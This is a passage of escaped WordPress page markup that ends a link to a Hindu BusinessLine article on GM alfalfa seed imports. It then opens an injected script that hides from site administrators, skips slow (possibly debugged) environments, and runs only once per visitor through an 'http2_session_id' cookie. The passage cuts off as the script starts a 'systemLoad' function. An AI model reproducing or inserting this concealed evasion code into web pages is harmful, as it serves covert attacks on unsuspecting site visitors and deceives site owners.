target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindubusinessline.com\/economy\/agri-business\/india-prepares-ground-to-curb-gm-alfalfa-seed-import-as-us-seeks-market-access\/article69501876.ece<\/strong><\/a><strong><\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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